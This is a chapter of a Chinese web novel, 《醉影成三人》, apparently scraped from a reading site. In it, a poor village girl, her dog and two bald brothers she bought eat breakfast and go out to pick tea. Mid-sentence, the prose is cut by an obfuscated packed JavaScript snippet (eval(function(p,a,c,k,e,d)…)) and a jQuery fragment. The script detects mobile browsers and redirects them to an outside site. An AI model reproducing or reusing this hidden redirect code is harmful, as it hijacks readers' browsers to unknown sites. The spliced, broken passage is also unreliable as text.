3. 癖好
作品:《醉影成三人》 “按辈分,它是我哥,你……”田酒言尽于此,摇摇头不再多说。
她往狗头碗里舀了勺稀饭,又添了点菜汤和碎鸡蛋,放到地上。
大黄尾巴甩来甩去,啪啪打过嘉菉的腿,跑过来埋头吃饭。
“我怎么了!”嘉菉拿着碗气呼呼地坐到饭桌旁,既明倒是有礼有节地道了声谢:“多谢你为我们做的碗,嘉菉是急性子,你多担待。”
田酒舀了一勺粥倒进嘉菉碗里,碗沿凶巴巴的小和尚被淹没一半,只剩下一双瞪着的眼睛,和嘉菉此时的表情一模一样。
“我刻得蛮像。”
嘉菉低头,和碗沿嚣张的小和尚对视上,那点燥气就像水面上的小气泡,啪一声消失了。
他长于高门世家,见多了口蜜腹剑之徒,给你三分好要说成九分,这都算小事,更有太多人嘴上说得动听,可背地里而却给你使绊子。
可他没见过这样口拙却心诚的人,做了九分,口中却一分不提,甚至连她自己都觉得算不得什么。
这么……傻气。
“咳——”
既明吃了口炒鸡蛋,立马脸就变了,捂着嘴咳个不停。
“这是怎么了?”田酒给他倒了碗水,“快喝口水。”
既明就着她的手喝了几口水,才勉强平复下来,一张白玉似的脸咳得泛红,倒多了几分生动颜色。
“这鸡蛋谁做的,这是给了多少盐?”既明指着盘子,手指发抖。
“呃,”嘉菉迟疑着看向田酒,“两勺也算多?”
田酒短暂思考了下:“有点多,盐很贵的。”
三人你看我我看你,一片无语中,吸溜吸溜的声音响起,田酒转头,大黄食碗里的稀饭鸡蛋已经吃完了,这会正趴在水槽边狂伸舌头舔水,瞧着渴极了。
田酒眉头皱起来,过去给水槽里又添了一瓢水,揉揉狗头坐回来。
“黄哥屎都能吃,吃不了你做的饭,”她生气地抿嘴,严肃道,“下次不准放这么多盐了,盐比你贵。”
“……哦”嘉菉看了眼舌头狂飞的大黄,也没法硬气了,但还是嘟囔了句,“盐才没我贵呢。”
既明终于缓过来,看了眼桌上的菜,默默收了筷子,只吃碗里的粥。
田酒忽地觉出不对来:“你们不是和尚吗?怎么还吃鸡蛋?”
“谁说我们是和尚?”嘉菉啧了声,又来劲了。
“你们都是光头,还是从庙里出来的。”田酒迷惑地眨眨眼,不是和尚剃什么光头,这不有病吗。
“我们只是暂时住在庙里,谁说光头就是和尚了,你买男人还特意挑和尚买,你是有什么奇怪癖好?”嘉菉振振有词地质问,声调高得大黄回头汪了声,像是警告他。
既明闻言也眸色一动,凝住田酒,注意她的表情变化。他可不像嘉菉那傻小子,一只木碗就能收买。
田酒眉头耷拉下来,肉眼可见地失望:“真不是和尚?”
嘉菉好奇心被勾起来,凑近了些,挑眉道:“你个小丫头,还真喜欢六根清净的和尚啊?还一下买两个,胃口不小啊!”
“是啊,和尚无趣又寡淡,你怎么会特意买和尚呢?”
既明手支着额头,嘴角浅笑,目光却幽深探寻,像是要透过这幅皮囊,看进她的心,看透她所有不为人知的心思。
田酒迎上两人追问的眼神,坦然一摊手:“和尚不吃肉,好养活。”
更何况要不是看他们是兄弟,只买一个怕是要骨肉分离,她才不会买两个人回来。
“……就因为这个?”
饶是既明,也怔愣半晌,有种一拳头打进棉花里的无力感,他到底是在摸什么人的底啊。
“不然呢?”田酒反问,“嘉菉还算能干,你肩不能抗手不能提的,我买你有什么用?”
既明脸上一红,不是羞的,是气的。区区一个村女,居然说他无用,偏偏一张利口,却在此时难以反驳她的话。
大哥被损,嘉菉没忍住嘿嘿笑了一声,对上既明冷冷目光,赶紧拍拍他的肩:“哥,你和她计较什么。”
敷衍完,嘉菉又转头兴致勃勃问田酒:“你都舍得买人了,还舍不得一顿肉?你就这么穷?”
田酒眼尾扫他一眼,笑了一声。一个被她十文钱买回来的人,还好意思说她穷。
她一张娇憨可爱的小圆脸,眼珠水亮,显出十分纯真灵动来,因此当鄙视出现在这张脸上时,极具冲击力。
“不是,你那是什么眼神!”嘉菉立马跳脚,险些打翻饭碗。
田酒一巴掌拍在饭桌上:“吃饭,不然饿着肚子跟我去干活。”
喝饱水的大黄趴在她脚下,应和似的嗷呜一声。
嘉菉气愤道:“哥!你看她们!”
既明拍拍他的肩,微微一笑:“好了,你和她计较什么。”
这话怎么好像有点耳熟……
简单吃过一顿饭,虽说鸡蛋太咸,但田酒拌着稀饭吃,还是没剩下菜。
田酒挎着竹篮,里面铺着几层布袋,她头上带着只草帽,手上拿着两个草帽。嘉菉见状,就伸手要接,田酒却先把一个草帽戴到大黄头上,只递给他一个。
嘉菉和草帽面面相觑:“我们两个人,你只给我一个草帽?”
田酒正蹲着给大黄系草帽,闻言把大黄头上的草帽掀开来,指指草帽缝隙里黄色的狗毛,“这本来就是它的帽子,你们俩难不成还要抢它的戴?”
嘉菉算是明白了,她家里所有的东西都只独自一份,就像房间、床、碗,多的是一个也没有,可真够拮据的。
他把手里的草帽翻来覆去地看,问:“那这个草帽是谁的?”
“我阿娘的,”田酒语气无异,平静道,“她去年死了。”
嘉菉哑然,虽然也能猜到,她一个姑娘家独自住着,怕是家里人都没了,可亲耳听到她这样轻描淡写说出来,还是让人心一揪。
大黄戴好帽子,兴奋地刨了刨地,田酒揉揉它的耳朵,去灌满水袋子。
嘉菉把草帽递给既明:“哥,你戴。”
他从小练武,肤色深也不怕晒,不像既明不晒太阳,一张脸近乎玉白。
“我不用。”
既明把草帽推回去,嘉菉还想劝,既明淡淡扫过来一眼,他明白过来,他哥这是洁癖犯了,不是和他客气。
嘉菉三两下戴好草帽,也跟着田酒灌了水袋子。他没再问手上这只半旧的水袋子是谁的,用脚趾头想也知道答案,可就算既明不喝,他也是要喝水的,他不嫌弃。
三人一块出了家门,田酒目光在两人身上的绸缎长衫上顿了顿,但也没多说什么。
他们起得早,这会太阳才稍稍露头,天空上挂着淡淡霞色,晨
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15668280|173026||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
间露水还未完全褪去,草叶拂过小腿,浅浅打湿裤腿和鞋子。脚步一踏下去,一只绿蚱蜢弹跳而起,菜粉蝶低低地飞,落在田间的油菜花上。
田酒沉稳走在前面,大黄吐着舌头追蝶儿跑远,没一会儿又呜呜跑回田酒身边,嘉菉在后面大惊小怪地叫唤。
阳光直直打在脸上,既明眉头微皱,睁不开眼,被打湿的绸布冰凉,紧贴在小腿上,触感不适。
尤其路上遇见不少村里的人,眼睛都快粘在他和嘉菉身上了,虽说没多问什么,只和田酒打了个招呼,但转过头就是一阵嗡嗡议论声。
村里哪见过长得这么俊的男人,还是两光头,还穿着那么好的料子。
“还要走多久?”既明问。
田酒抬手往前面一指:“就在那座山上。”
既明嘉菉都随着她指的方向往去,一座山听起来唬人,但其实山很低矮,也没有太多丛生树木,而是一行行开垦好的田地,绿油油一片矮丛,山尖上还有几株白花繁茂的树,不知是梨花还是杏花。
远远一瞧,工整中带着点写意,像幅色彩清新的春日画卷。
嘉菉抬着草帽帽沿远眺:“那是什么花?”
“杏花,”田酒看了眼,随口道,“过两月就结果了,到时候我带你们去摘。”
“好啊!”
嘉菉兴冲冲应下,和昨天刚来时鼻孔朝天的模样迥然不同。他发觉这地方还也挺有趣的,上京处处精致奢华,连花枝都要修剪到曼妙堪怜,他反而懒得多瞧一眼。
一路上了山,踏着不算崎岖的土路,田酒走得很轻松,大黄也奔来跑去,嘉菉更是兴致勃勃,看到什么都要问一嘴。
唯有既明,没有草帽遮挡,随着阳光渐盛,头皮都发着热,眼皮半垂着,只觉得瞧什么都红彤彤的,腿上又湿漉漉粘连着衣裳,叫他心头燥意愈盛。
终于到了田酒的地,离得近了,嘉菉惊呼:“这种的是茶叶?”
眼前一陇地都是低矮茶叔,只有人大腿高,深绿色丛生叶片间,草绿新芽冒头,可不是正是他从前喝的茶叶。干脆叶片泡过,就成了眼前这丰润叶芽模样。
嘉菉还是第一回见到还在茶树上的茶叶。
既明眉头也稍稍舒展,眼里带了些新奇,他同样也是第一回见到还未炒制的茶叶。
“对,田家村茶山多,人人家里种茶树。”田酒点头,从竹篮里掏出两只布袋子分别递给他们,“袋上有绳子,可以系到腰上,方便放茶叶。”
嘉菉三两下带上,像是个系在腰上的围裙,但多了个大兜在前面。既明在后面,也慢吞吞系上了布袋。
丝绸衣裳配上粗布袋子,瞧着有些怪异。
“看,两只手在前面摘茶叶,只摘绿芽,手上握满后手腕一转,茶叶就放进布袋里……”
田酒示范着,摘茶叶的动作十分娴熟,左右手齐开工,揪断茶叶的声音“啪啪啪”脆生作响,一股子淡淡的茶叶清香扑面而来。
“看明白了吗?”
“这还不简单!看我的!”
嘉菉转到另一路茶树前,下巴微抬:“咱们来比一比,一人一行,看谁先摘完!”
田酒手上不停,嘴角上扬:“谁输了,中午谁一个人回去做饭。”
“说定了!”
嘉菉转头,冲既明挤眉弄眼:“哥,你瞧我怎么赢她!”